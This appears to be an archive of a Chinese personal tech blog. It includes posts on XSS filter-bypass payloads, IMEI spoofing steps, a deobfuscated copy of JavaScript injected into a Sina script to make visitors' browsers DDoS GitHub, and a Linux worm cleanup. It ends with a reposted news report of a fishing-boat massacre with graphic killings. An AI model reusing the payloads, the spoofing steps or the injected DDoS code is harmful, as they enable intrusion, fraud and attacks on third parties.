there are many website use ImageTragick.
there found a huge number website have high risk that can get shell by remote , here is more detail :
https://imagetragick.com/2016年5月6日星期五
big risk of website
there are many website use
ImageTragick
there found a huge risk here can get remote shell, here is more detail :
2016年1月3日星期日
将手机微信上的长文章，转发到kindle
平安夜晚上闲着没事，写了段代码，可将手机微信上的长文章，一键转发到kindle上面，只要关注下我的微信公众号就可以了
要将转发文章的URL贴到公众号的聊天消息框中，一会儿就收到了，很方便快捷，而且还能自动翻墙
2015年6月16日星期二
xss一例
当前form页面，传到后台的参数已经如下处理：
".htmlentities($_POST["name"]);
于是试了
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
{{{ Form:: .. }}} .' onevent ='prompt(/XSS/);
.'(( img src=x onerror='javascript:alert(1)
都不行啊，后来发现居然可以利用本地的form绕过，在url中
看来需要测下原来接口一些遗漏的地方了
2015年6月10日星期三
修改手机的串号IMEI
移动搞活动，买手机一定时间后返还话费，结果到现在才说必须手机号与指定手机放在一起使用，才能返还
这些运营商经常搞这种流氓行为的
于是，研究现在用的这部手机，如何修改IMEI号与那部移动手机一样。方法如下，试验一次性成功：
１、下载"移动叔叔工具"，备份本机ＩＭＥＩ号
２、到网上找 IMEI号生成工具，或者名称为 IMEI串号生成修改器
３、使用上述工具生成指定串号IMEI，然后用 移动叔叔工具恢复IMEI号，一次性成功
2015年4月1日星期三
这样的js拦截
http://sjs.sinajs.cn/blog7common/js/boot.js
使用国外IP访问，可得到拦截修改后的js，
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--)
r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
}
;
while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);', 62, 64, '|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'), 0, {}))
进行解密后，得到
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); ! window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
NUM = url_array.length;
function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}
function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}
function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
上面的意思是，对
这两个网址，隔几秒循环访问一次。从而借助所有上网用户形成DDOS攻击
继续在搞啊
(http://sjs.sinajs.cn/blog7common/js/boot.js)是sina的计数器，大量引用在各种sina业务中，还是和前几天baidu计数器仅针对国外IP一样，眼前这个改写法了。这种搞法，是否除了DDOS github，还能把你的跳板给记录了呢？生活已不易，上网需谨慎，且行且珍惜。
2015年2月5日星期四
京东这个垃圾网站, jd.com is so much dirt
京东 jd.com，在美国上市，交易代码 jd，这样的网站居然也能上市。网站的基本功能都做不好。
最近我买了显示器，今天再登录想买个路由器，结果账户显示有安全风险，需要短信重新验证一下。结果从昨天到今天，怎么折腾都收不到短信验证码。在手机杀毒软件中查看拦截记录，没有，重启手机，也没有，换个手机再重新接收，也没有。
京东这是闹哪样啊？连个基本的验证功能都做的如此垃圾。google 一查，居然有很多人遇到过同样的问题，从2013年京东大量账户盗用后，断断续续出现过各种各样的问题。
作为一个电子商务网站，他们的IT系统做的真是够垃圾
2015年1月21日星期三
解决openwrt无线问题
老设备刷了个openwrt，无线总是出问题
今天拿来的设备，起无线时，端口为down状态
于是 ifconfig wlan0 up，再iwlist scanning，可以看到扫描出许多无线信号来
但此时仍然无法启动ap状态
输入wifi up
提示：
PHY for wifi device radio0 not found
于是输入：
wifi detect > /etc/conrfig/wireless
重新刷新一下设备状态，这样就解决了。
总结：要按照给出的信息，分析最大的可能，按图索骥去解决问题，这样既迅速又效果好
2015年1月8日星期四
python编码输出的一个问题
今天纠结于一个问题
就是内容为这样的TXT文件：
\xc3\xc0\xb9\xfa\xb6\xd3\
直接读出然后print出来，仍然是这样无法阅读的字符，如下：
op = open('1.txt','rb')
print op.read()
怎样转换为可读字符呢？于是
op = open('1.txt','rb')
print op.read().decode('utf-8').encode('gbk')
或
print op.read().decode('gbk')
或
print op.read().encode('gbk')
各种报错啊，
最后终于弄好了，如下方式输出，即是正常的字符了
print op.read().decode('string_escape').decode('gbk')
2015年1月7日星期三
我的无线路由器配置
我的无线路由器配置入下：
周一至周五
晚上11:30关闭无线，要睡觉了。睡觉避免辐射
早上7点打开无线，手机要同步数据，kindle要离线下载最新资讯，上班路上看
早上9点关闭无线
下午16点开启无线等待楼主下班回家
周六至周日
凌晨0点关闭无线睡觉
早上7点开启无线至第二天凌晨0点，默认情况下关闭无线，因大部分周未不在屋里，故需手工开启
30 23 * * 1-5 /sbin/wifi down
晚上11:30关闭无线，要睡觉了。睡觉避免辐射
早上7点打开无线，手机要同步数据，kindle要离线下载最新资讯，上班路上看
早上9点关闭无线
下午16点开启无线等待楼主下班回家
周六至周日
凌晨0点关闭无线睡觉
早上7点开启无线至第二天凌晨0点，默认情况下关闭无线，因大部分周未不在屋里，故需手工开启
30 23 * * 1-5 /sbin/wifi down
0 7 * * 1-5 /sbin/wifi up
0 9 * * 1-5 /sbin/wifi down
45 18 * * 1-5 /sbin/wifi up
0 0 * * 6,0 /sbin/wifi down
0 7 * * 6,0 /sbin/wifi down
2014年12月30日星期二
这样保存比特币钱包应该很不错
用这种方法：
找一个破手机，恢复出厂设置，然后断开所有联网功能，不插SIM卡和wifi密码
然后在这里面保存私钥和钱包，需要使用时以二维码方式呈现，或直接文本呈现，用手机扫描二维码读出来。恩，应该是个不错的主意
2014年12月29日星期一
2014年12月17日星期三
自动备份电子书看不完的书
Kinlde刷了多看后，每天自动推送来的书太多了，根本看不完啊，每天的信息量，得至少有几万页啊，还不算临时起意要看的资料传过来的
光是订阅的东西，每天三四个空余时间根本看不完啊。那么问题了，除了不停地删除，如何备份呢？
连接usb到pc上，可看到这个文件：/mnt/us/DK_System/xKindle/pop3.log
注意，只要找 /DK_System/xKindle/pop3.log这个就OK了
搜索pop_pass，可看到邮箱的账号和密码
那么利用google 的云网google driver备份吧，在gmail邮箱中，配置中，导入其它邮箱账号，收取时选择存留备份，不删除多看上的邮件内容。OK，在新建的标签中，就可以看到多看邮箱中的内容了。
2014年12月11日星期四
建立linux下的rdate服务器,ntp服务
我是在centos下
安装配置比较简单，几分钟就可以完成
yum install ntp xinet
1、编译配置文件
vi /etc/xinetd.d/time-stream
将 disable = no
2、启动相当服务
service ntpd restart
service xinetd restart
3、配置本机防火墙，放开相应端口
#iptables -I INPUT -p tcp –dport 37 -j ACCEPT
#iptables -I INPUT -p udp –dport 37 -j ACCEPT
#iptables -I INPUT -p udp –dport 37 -j ACCEPT
4、完成。其它设备就可以使用此服务了。因为许多设备，尤其是小设备都是使用rdate同步时间，所以 rdate -s 本机IP 就可以同步时间了。我这台openwrt配好了crontab 发现不能及时启用相关进程，主要是时间有问题，外网找到的rdate服务总是不好用，很快就挂掉，不如直接用自己建的了。
2014年12月8日星期一
GTD时间管理，效率提升
原来用蕃茄土豆管理时间，每隔25分钟全力冲击专注于某事，然后休息5分钟，然后再25分钟，如此循环，每天的工作效率很高，和健身一样半年练出六块腹肌一样，时间管理坚持一段时间后，也能感觉到明显的效果。
后来发现google日历也能实现这样的功能，还能在google日历的管理界面上，导入outlook和蕃茄土豆的历史记录，很方便，以后就用google的日历来备份历史数据了。国内的应用还是不太靠谱，说不定哪天蕃茄土豆就直接关闭了。这样保存一下很有好处。
google日历功能强大，界面实在不够美观方便，和google 的工程师真是相关。
2014年10月30日星期四
2014年9月29日星期一
狗耳机续期自动投递的若干方法
狗耳机日报，到了续期自动投递的时间了，但给gfw给屏蔽了，
kindle下面，可以这样输入
打开这个带有http://dogear.cn/u/
手工抄下来，然后在能翻墙 的计算机上输入这个链接，必须完整带token，
paper white因为没有方向键，就是这样麻烦。
方法2，把这个链接收藏起来，然后在计算机上打开。
方法3，登录amazon，打开此文档，
方法4，用数据线连接KP，然后在计算机上用阅读器打开文档，
方法5，自动翻墙的路由器，这个已经很多了，不用多说，
方法6，在计算机上设置临时wifi，然后翻出去。
方法7，KP浏览历史，打开并手工记下来
－－－－－我们的求知欲望永远不可阻挡
狗耳机续期自动投递的若干方法
狗耳机日报，到了续期自动投递的时间了，但给gfw给屏蔽了，一直无法打开这个链接，怎么办？
kindle下面，可以这样输入
打开这个带有http://dogear.cn/u/activate/的链接，在后面输入"."字符，然后就会出现那一长串的字符串token值
手工抄下来，然后在能翻墙 的计算机上输入这个链接，必须完整带token，然后就续期成功了。
paper white因为没有方向键，就是这样麻烦。但普通有方向键的kindle就没有这样的问题。
方法2，把这个链接收藏起来，然后在计算机上打开。
方法3，登录amazon，打开此文档，在计算机上用阅读器打开文档，然后续期
方法4，用数据线连接KP，然后在计算机上用阅读器打开文档，然后续期；
方法5，自动翻墙的路由器，这个已经很多了，不用多说，费一次劲，永远省事；
方法6，在计算机上设置临时wifi，然后翻出去。KP接这个临时wifi
方法7，KP浏览历史，打开并手工记下来
－－－－－我们的求知欲望永远不可阻挡
2014年9月26日星期五
安全风险预警：国庆前的疯狂，一定要注意
最近几天有两个预警：1、linux中广泛使用的bash shell中发现毁灭级漏洞，比心脏滴血更严重，只需一行代码即可控制主机。官方发布的补丁目前仍然可绕过。2.各种后台解析xml的应用都要注意过滤问题，否则也是远程各种执行问题。上述都是存在影响已久的问题，请注意注意，快速查验修复
2014年7月4日星期五
一种新的基于strust的linux蠕虫病毒
今天处理了一个非常疯狂的linux蠕虫病毒。某linux服务器疯狂发包，ssh连入后，iftop查看端口流量，基本最少也得10MB/s，找到发包进程，两个进程互相监控，一旦kill掉一个，另一个马上会重新生成一个新的。pstree显示互为父进程。把两个进程杀掉后，删除病毒文件。结果一会儿又生成一对。再看，原来进程中还有一个perl不断连接远程6666端口，update最新的病毒版本。干掉这3个进程，流量终于下来了。系统日志全部关闭，无从查找原因。初步判断是通过strust感染进来的。第6感又一次准确无误。将日志模式打开。下午发现病毒程序又一次不请自来。名字也改了，换了一套新马甲。grep wget *.log，果然发现利用了 s12-020进来。修补，清痕迹，备病毒文件以备分析，打完收工。病毒远控与更新地址60.174.234.107，iptables drop掉。剩下的就是享受病毒分析和吃掉这个病毒窝子了。
另外，现在的国内dns污染真是厉害，还是用 用opendns的解决方案dnscrpt吧：http://www.opendns.com/about/innovations/dnscrypt/
2013年7月11日星期四
“鲁荣渔2682”号惨案：33人出海，11船员涉嫌劫杀22名同伴
案发两年前一艘赴秘鲁、智利海域进行鱿钓作业山东渔船
■ 缘起工资标准争议和粗暴管理
■ 11名船员被指控犯有故意杀人罪等开庭8个月仍未宣判
东方早报 www.dfdaily.com 中国 National
早报记者 黄志强 发自威海、大连
早报记者 于松
“我们的船现在出航，2010年12月28日12时58分（注： 起诉书为12月27日），你记好这个点。”“鲁荣渔2682”号远洋渔船二副王永波再三叮嘱妻子牢记出发时间，根据合同，两年后的这一时刻就是渔船归航的时候， 多一天都是超期。然而，8个月后的2011年8月12日上午， 当这艘赴东南太平洋秘鲁、智利海域进行鱿钓作业的远洋渔船被拖回出发地山东荣成石岛码头时，包括王永波在内的22名船员却消失在茫茫大海，没有归期。船上仅剩的11人，直接被警察带走，每人单独一辆警车。
次日，官方发布消息，警方初步认定“鲁荣渔2682”号曾发生重大刑事案件。
20人死亡，2人失踪。
2012年11月15日、16日， 在山东威海文登市人民法院，公开审理了“刘贵夺等11名被告人劫持船只故意杀人”案。包括船长李承权在内的11名船员竟然全部站上了被告席，被指控犯有劫持船只罪、故意杀人罪、抢劫等罪名，罪名重者，28岁的刘贵夺背负了20条人命，而罪名最轻的两人，也各背负了1条人命。
两天庭审揭开了这起海上惨案的冰山一角，压迫、造反、劫船、杀戮、告密、内讧、逃亡、失踪……“鲁荣渔2682”号的末途之旅逐渐清晰，但围绕这艘死亡渔船的诸多谜团仍未解开。
近日，早报记者走访当事人家属、辩护律师、庭审旁听人员以及远洋渔船船员等相关人员， 还原这起尘封两年多的海上惨案。“鲁荣渔2682”号，这艘飘荡在浩瀚太平洋的小船， 犹如一片孤岛，船上的人时刻面临着生与死、希望与绝望、人性与兽性的挣扎，一句话、一个眼神都可能诱发一场杀戮。
案发已两年， 开庭时间也过去了近8个月，但截至记者发稿前，该案仍未宣判。而7月10日，受害者家属状告该渔船所属公司的案子即将开庭。
【起航：就当我出去上学了】
山东威海石岛， 是中国北方最大渔港。渔港码头林立，渔船如织。
“鲁荣渔2682”号属大洋鱿钓船，船长36.98米、宽7米，排水量为233吨，主机功率为330千瓦。
2010年10月， 时年41岁的船长李承权找来了多年好友付义忠、王永波担任“鲁荣渔2682”号大副、二副，共同管理这艘远洋渔船。
“鲁荣渔2682”号最终出海的33人来自黑龙江、内蒙古、辽宁、安徽、贵州等地。其中多数船员由船长、大副、二副邀约，中介介绍上船。由于船长来自大连， 所以渔船的管理层多从大连召集而来，二副王永波将亲戚吴国志、姜树涛、段志芳和崔勇介绍上船，同样来自大连的还有温斗、温密兄弟，他们分别是渔船的轮机长和二管轮， 伙食长夏琦勇、1987年出生的王鹏等。
2010年11月中下旬，“鲁荣渔2682”号上的刘贵夺、姜晓龙、黄金波等人， 通过大连一家中介公司介绍上船， 一同通过中介牵线上船的还有以内蒙古人包德格吉日胡（下称包德）为首的“内蒙古帮”。
黑龙江龙江县人刘贵夺， 这一年26岁。初中辍学后务农， 此后外出打工，干过销售员、建筑工人，2000年左右干过船员，但仅有出海两天的经历。
事实上，除了船长、大副等管理层属于职业海员出过海外， 船上大部分船员均没有远洋出海经历。
船员在出海前都与公司签订了聘用合同， 出海到东南太平洋渔场进行鱿钓生产期间的保底收入每年人民币45000元，劳动合同期限为2年。与此同时，合同附件列有工资标准，包括月工资、年工资和提成标准。此后在作业期间， 对保底收入和工资标准的争议理解成为血案的导火索。
12月28日， 张岳林接到丈夫王永波的电话，“鲁荣渔2682” 号起航，“2010年12月28日12时58分”， 丈夫再三叮嘱她记好这个时间点，以防超期，“不知道起诉书为什么将渔船出海时间提前了一天”，张岳林至今疑惑。
大学刚毕业一年的马玉超给母亲打电话说：“今天要走了， 一会儿就没有信号了， 妈你别想我， 两年就回来了，就当我出去上学了。”此前，他一直瞒着家人，直到临近出海才告知家人，母亲哭着让他别去，但他仍坚持出海，“两年能攒点钱，回来可以干点事。”马玉超的母亲至今仍不清楚儿子如何踏上这艘远洋渔船的。
怀揣着憧憬，“鲁荣渔2682”号满载着33人驶向太平洋，开始“淘金之旅”。
【劫船：回国打官司】
“鲁荣渔2682”号航行了两个月左右抵达秘鲁海域，一切并无不妥，其间经历春节， 很多船员通过海事电话与家人联系过。
然而，随着鱿钓作业的开始，阴影逐渐笼罩“鲁荣渔2682”号。
刘贵夺的口供称，“（2011年）6月初，每天工作18个小时是少的，还有连续工作两宿一白天，不睡觉，我们都非常疲倦，累坏了。”
另有家属回忆，在庭审过程中，有船员称船长的粗暴管理激发了矛盾，“船上不许说话，不许抽烟，甚至殴打船员”， 其中有两名船员因病不能干活，船长让公司停发了他们的工资。
收入疑问是另一个导火索。姜晓龙口供称，“钓了2个月左右， 船上船员开始讨论说，工作太累，工资没有保障，我们的工钱根本就不是公司给我们签合同说的那样保底45000元， 公司合同都是骗人的”，“后来刘贵夺找我商量劫船回家， 我记得说过三次”，“刘贵夺说劫回去，我们就跟公司打官司，我有关系能找到人”。姜晓龙，1976年出生，黑龙江人，与刘贵夺关系密切，两人是老乡。
刘贵夺在庭审现场称， 自己干活最多，但算下来的收入“还不够买烟的钱”。船员一般会在出海前赊欠囤积生活物资，回国后结账。
根据公司提供的生产产量记录，刘贵夺在当年3、4、5月的产量分别为8284斤、5946斤和13586斤， 均排在所有船员的前列。
据威检刑诉〔2012〕68号起诉书称，作业期间，刘贵夺及包德等船员认为鱿钓工作时间长、强度大、收入低，遂心怀不满，于2011年5月份，分别串联姜晓龙、刘成建、黄金波、王鹏、双喜、戴福顺等人，预谋并决定待渔船燃油补给后，即劫持该船返航回国。
刘贵夺回忆， 包德找到他商量了三四次，“说公司骗我们”。两人定下来后，陆续找人串联，懂得开船的王鹏说“没有船长他也行”， 只是马玉超说他不动手， 而4个内蒙古人全听包德的，常说蒙语也听不懂， 他们14人组成了一个团伙。马玉超会计算油耗，他们商量要把船上的油加满，能跑回中国。
机会很快来临。
起诉书称，（2011年）6月16日，在智利海域给“鲁荣渔2682”补满燃油。当日23时许，刘贵夺指使黄金波、王鹏破坏关闭船上的通讯设备、定位系统，又安排姜晓龙等人把守一层甲板通往舵楼的舷梯，伙同包德、双喜等人持刀、棍闯入舵楼船长室，采取持刀捅刺、用棍击打等手段将船长李承权控制住，威逼其返航。
李承权的口供称， 当晚他正在房间睡觉，刘贵夺把他从床上拽起来，让他起锚回国，他不同意，刘贵夺就拿刀朝他的左腿大腿捅了一刀。他问刘贵夺准备干什么，“刘贵夺说自己等人被骗了，和当初签合同讲的不一样，他们在海上干活太累了， 他们要回国找公司讨个说法，要马上起锚回国，不然的话，他就炸船，把船上的人杀了”。
李承权回忆， 因为他的伤口大量出血，温斗用针和岳朋的头发，把他的伤口缝住了。
【冲突：伙食长之死】
伙食长夏琦勇是“鲁荣渔2682”号渔船上第一个受害者。
刘贵夺称，夏琦勇拿了一把刀，上来救船长，被姜晓龙拦下了，他们都拿刀，在那里夺刀，他上去捅夏琦勇左腿一刀，屁股一刀，并喊刘成建把夏琦勇的腿打折了。
姜晓龙回忆， 有人冲到驾驶室门口，他怕局面控制不住，就转到夏琦勇面前， 手里比画着刀，“说让你下去就下去，没你什么事儿”，夏琦勇被扎后，用双手把刀刃抓住，两人开始厮打，在刘成建的帮助下， 他拿刀往夏琦勇胸口扎，但是刀刃应该弯了，没扎进去，他又拿起刀，想继续扎，黄金波拽住他胳膊说“姜哥别扎了，人还活着呢”，他就转身走了，温斗和吴国志跟他说“别干傻事儿”，他说“不会的，老夏要不是硬往里冲，也不会弄他”。
姜晓龙称，“夏琦勇不听我嚷嚷，硬往里挤，我手里拿着刀，没多想就动刀了，再后来夏琦勇倒下以后，我用刀扎他，说实话那时候我就蒙了，也不知道怎么想的，一直到黄金波拽我，我才有点清醒过来”。
刘贵夺称， 他看见姜晓龙和双喜在眼前，就把夏琦勇扔海里了，夏琦勇还在海里游了十多米， 看不见了。后来，大副付义忠也上来了，没反抗，被他们绑了，控制在了舵楼。
伙食长之死，让“鲁荣渔2682”号踏上不归路。
【杀戮：管理层遭血洗】
回航途中，刘贵夺等人实施了严格的管控措施，刘贵夺称，他把通讯工具、对讲机都关了，也没人联系上他们。
姜晓龙称，卫星导航设定好了后，他们9人轮流持刀、铁棍走岗，4人一班，“主要是看二副为首的其他船员，不让他们和船长联系， 防止他们穿救生衣，放救生筏逃跑”，与此同时，船员的住宿位置也被调整。
夏琦勇死后， 刘贵夺让人把杀鱿鱼的刀和救生衣收拾起来了。包德等人将冷藏室的器械的3条腿卸下来做刀。此时的“鲁荣渔2682”号被血腥和恐惧笼罩，船员人人自危，任何一个细节都可能诱发一场杀戮。
刘贵夺回忆， 他和包德发现有人要造反，“二副王永波、岳朋、刘刚、吴国志、单国喜、温斗，一直秘密说话，都被我们发现了， 船的辅机也少了”，刘贵夺还称， 岳朋和单国喜都和薄福军说要“造反”，“薄福军跟我说”。
“过了几天，大概7月16日、17日前后，我和包德说了不能再等了，”不过，刘贵夺称，并不想杀人，“我说不能杀，把主力温斗、岳朋捅伤了就行，他们就不敢反抗了。”
这并未遏制一场杀戮。
检方的起诉书详细描述了作案过程： 刘贵夺在舵楼组织指挥并播放高音音乐掩饰作案， 黄金波将温斗从机舱四人间叫出，并骗至舵楼驾驶室，姜晓龙、刘成建与包德、双喜、戴福顺5人先至机舱四人间内， 持刀将温密杀害后抛至海中。在温斗从舵楼出来下舷梯时，姜晓龙、刘成建、黄金波和包德4人持刀朝其身上乱捅， 并将其推入海中， 后刘成建先将岳朋从十二人间宿舍内喊出，即伙同冯兴艳、包德持刀朝其身上乱捅，逼其跳海，又将刘刚从十二人间喊出，由黄金波、冯兴艳持刀对其捅刺， 姜晓龙捂刘刚的嘴不让其喊叫，包德等人将刘刚抛至海中。后刘成建、刘贵夺与包德3人进入十二人间宿舍内，将王永波杀害抛至海中。
当夜，刘贵夺、黄金波、双喜、戴福顺在渔船右舷廊处， 采取持刀捅刺等手段将姜树涛杀害抛至海中。其间，马玉超失踪。
次日凌晨，刘贵夺、黄金波、王鹏将陈国军叫至渔船前甲板，向其索要银行卡未果后，刘贵夺直接将陈国军推入海中。当日下午，刘贵夺指使人将薄福军叫至甲板，同样索要银行卡未果，王鹏、梅林盛持刀捅刺薄福军致其倒地，刘贵夺用脚将薄福军踹入海中。后吴国志也是如此，被捅刺后，逼其跳入海中。
姜晓龙称， 他不知道为什么要杀姜树涛，“当晚原定要杀的人当中没有姜树涛”，而对于陈国军、薄福军、吴国志的被害原因， 姜晓龙也称不知情，“也没人跟我商量过”。
“说实话杀温密、温斗之前，我们这些人都是喝了点酒壮胆， 杀温斗之后，我酒劲就过了，有些害怕。”姜晓龙称。
此次被杀害的9人中，多人属该船的管理层，与船长关系密切，大多来自大连，其中温斗、温密是兄弟，王永波和吴国志是亲戚， 二副王永波与船长有数十年交情，船长称其为“哥”。
被控制的船长李承权称事后才获悉这场杀戮，他在上厕所时，发现很多血迹， 当晚又发现王永波等人没到驾驶室值班，他就趁刘贵夺、包德吃饭的时候， 悄悄询问大副付义忠，“付义忠比画了一下割脖子的手势， 我就知道坏事了，就问付义忠几个，付义忠又伸出五个手指给我看”。
这一晚大学生马玉超突然失踪。
时至今日， 马玉超的母亲对儿子的失踪仅停留在只言片语，“刘贵夺在庭上说，马玉超看见王永波被杀，很害怕，刘贵夺让他别怕，不会杀他，第二天人就不见了，找了三圈都没有找到”。与马玉超年龄相仿、关系较好的段志芳在庭上回忆， 当晚马玉超斜躺在铺位上，说不敢一个人住，第二天就只剩空被窝，船上的救生衣没有少，枕头下还留有日记，后被扔出大海。
【内讧：“内蒙古帮”被清算】
两天内，9人死亡，1人失踪，“鲁荣渔2682”号气氛骤然紧张，船员人人自危。看似刘贵夺等人已完全掌控渔船，实则暗流涌动。
新一轮杀戮源于一个眼神和一次告密。
起诉书称，7月24日，“鲁荣渔2682” 行至日本以东1000余海里的西北太平洋海域时， 刘贵夺得到黄金波告密称，包德等人意图“谋反”将对其不利， 遂决定先行下手杀害包德、双喜、戴福顺、包宝成，并揪出其他同伙。
刘贵夺称，后来他和姜晓龙、刘成建走近了，感觉包德看他的眼神不对，包德还把他的人赶到船舱底下住，“他们想把我杀了，他们说了算”，此后黄金波的告密激发内讧，“黄金波偷着跟我说，要说个事儿，很严重，我问是不是包德要干掉我，他点头了，我说早猜到了”。
内讧意味着力量的重组。
起诉书称，此前，李承权、崔勇、段志芳为求自保，主动要求加入刘贵夺等人。
姜晓龙回忆，杀包德前四五天，崔勇、段志芳曾找过他，让他找刘贵夺说说， 让两人加入， 他表示自己说了不算， 让两人自己去找刘贵夺，“跟我们干啥，还不知道是死是活呢”、“我自己活哪天都不知道呢”。
船长李承权回忆则称是刘贵夺主动找他，“说他手里有六七条人命”，意思就是说也让他沾点血，不然他也不能活命，并说包德等人想造反，还说二副王永波是被包德杀的。因为他（李承权）和王永波的关系好，就同意杀包德了。
起诉书描述称，当晚，刘贵夺先指使黄金波、王鹏、李承权、崔勇4人持刀捅刺包德，逼其跳海。其间，双喜、戴福顺被迫从已被人持刀看管的十二人间宿舍跳海。随后，刘贵夺将包宝成从机舱四人间宿舍叫出， 并逼迫其从渔船的左舷廊处跳海， 又将单国喜从前铺叫出，王鹏、李承权持刀、鱼枪朝其捅刺， 逼其跳海， 后邱荣华被从前铺叫出，李承权持鱼枪朝邱荣华乱捅，邱荣华被逼逃至船尾后跳海。
清算包德， 刘贵夺进行了颇为复杂的设计。据李承权回忆，刘贵夺先让他和崔勇准备杀包德， 后骗包德说要杀崔勇，并让包德把刀给他，造成他去杀崔勇的假象，同时，刘贵夺又给崔勇一把刀，当空手的包德下到甲板，则被持刀的船长和崔勇包夹在中间。
据崔勇母亲回忆，在庭审现场，崔勇称动手时他非常害怕， 当时并不确定刀是否捅进了包德的身体， 但看到包德身上流血后， 他迅速上前用手把血抹到自己脸上，大喊“我沾血了，我沾血了”。自此，以包德为首的“内蒙古帮”全部被清算。
原本满载33人的“鲁荣渔2682”号仅剩16人，但噩梦并未终止。
【遇险：致命救生筏】
刘贵夺称，“内蒙古帮” 被清算的第二天，他把大家找来，把刀都收了，“不想再杀人了， 然后就把刀收了，我自己保管。”不料，当天凌晨，“鲁荣渔2682”号突然遇险，机舱进水、失去动力、船体倾斜，继而又引发一场混乱，4人死亡，1人失踪。
7月25日凌晨， 李承权起床上厕所，回到驾驶室发觉机器不正常，转速表现实的转速从980猛降到700左右，后发现机舱底部进水， 但此时他已经找不到大管轮王延龙。
刘贵夺称，王延龙是船舱进水前失踪的，“船长说船舱漏水是海底总阀开了，这个只有王延龙和温斗知道，那时候温斗已经没了，只有王延龙知道。”
起诉书称，刘贵夺、李承权组织船员排水自救，付义忠、官学军、丁玉民、宋国春4人身着救生衣，跳上载有救生物资的自制木筏准备逃走。
通过关闭主机、抽水、放锚、绑空油桶等方式，渔船逐步稳定下来，大副等人趁乱弃船逃走， 但洋流又将他们送回到“鲁荣渔2682”号旁边，救生筏不仅没能救命，反而惹来杀身之祸。
李承权称，船员说大副跑了，他招呼付义忠等人上船， 遭到拒绝，“说回来也会被杀死”，等渔船基本稳定后，付义忠等人坐的木筏随洋流又飘回大船旁边。
刘贵夺回忆，船长喊打他们，往死里打，他们扔铁坠砸。
起诉书称， 自制木筏随洋流又飘回渔船附近，刘贵夺、李承权、姜晓龙、刘成建等人朝木筏上扔鱿钓铁坠，付义忠、官学军、宋国春3人被迫弃筏跳海， 姜晓龙跳上木筏持鱼枪捅刺丁玉民，丁玉民也被迫跳海。
跳海的4人中，只有宋国春求救后被拉上渔船，然而，等待他的是更为残忍的结局。
【沾血：系上铁坠沉海】
刘贵夺称，宋国春上船后，船长跟他说， 项立山和段志芳怎么办，“意思是他们没有动手杀人， 意思是宋国春不能留”，随后，他让项立山和段志芳把宋国春绑上铁坠，直接扔海里了，宋国春就直接沉海了。
李承权则否认看见整个过程。
检方起诉书认为， 宋国春在海中求救后被段志芳、黄金波拉上渔船，李承权提出段志芳、项立山没“沾血”，刘贵夺遂指使段志芳、项立山处置宋国春， 二人为自保伙同黄金波将宋国春所穿救生衣脱下， 又将其手脚捆绑并系上铁坠沉海杀害。
事实上，根据刘贵夺等人的描述，“鲁荣渔2682” 号被劫持后，“沾血”的说法不仅出现一次。刘贵夺称，在清理造反派时， 包德就提出梅林盛、冯兴艳、王鹏、丁玉民四人没有杀人，必须让他们手上沾血。
“鲁荣渔2682”号突然遇险，也打乱了刘贵夺等人逃亡的计划。
【逃亡：筹集偷渡经费】
刘贵夺原计划逃亡日本，早在“内蒙古帮”被清除之前，他就开始筹集偷渡潜逃日本的经费。
检方认定的抢劫事实描述如下：刘贵夺为了筹集偷渡潜逃日本的生活经费，同时制造自己被劫假相，以逃脱公安机关侦查， 逼迫组织船上人员通过舵楼内卫星电话， 以生病、受伤为由， 让各自家人向其提供的户名为韩俐的邮政储蓄银行卡打款。单国喜、邱荣华家属信以为真， 先后向该卡汇入人民币共计1万元。
机舱进水后， 李承权和公司在附近作业的船只取得联系， 告知渔船方位，称“马上就要沉了”。
随着求救信号的发出， 消失已久的“鲁荣渔2682”号重见天日，船上的杀戮终于画上了休止符。
【回国：订立攻守同盟】
2011年7月25日，“鲁荣渔2682”号呼救后，山东省荣成市委、市政府立即召开紧急会议， 通过中国海上搜救中心等有关部门协调， 日本海上保安厅先后派出飞机和巡视船进行救援。
李承权回忆称， 当天下午四五点钟，日本的飞机飞抵渔船上空，晚上，一艘货轮来到他们船旁边， 通过对讲机，他告诉对方“他们船上吃的、用的还有，暂时不需要帮助”。
此时， 剩下的11人开始设法掩盖这起海上血案，他们坐在了“同一条船上”。李承权称，当晚，刘贵夺召集11人开会，共同商议一个统一的说法，刘贵夺编了一个说法后，又一起商量过两次。
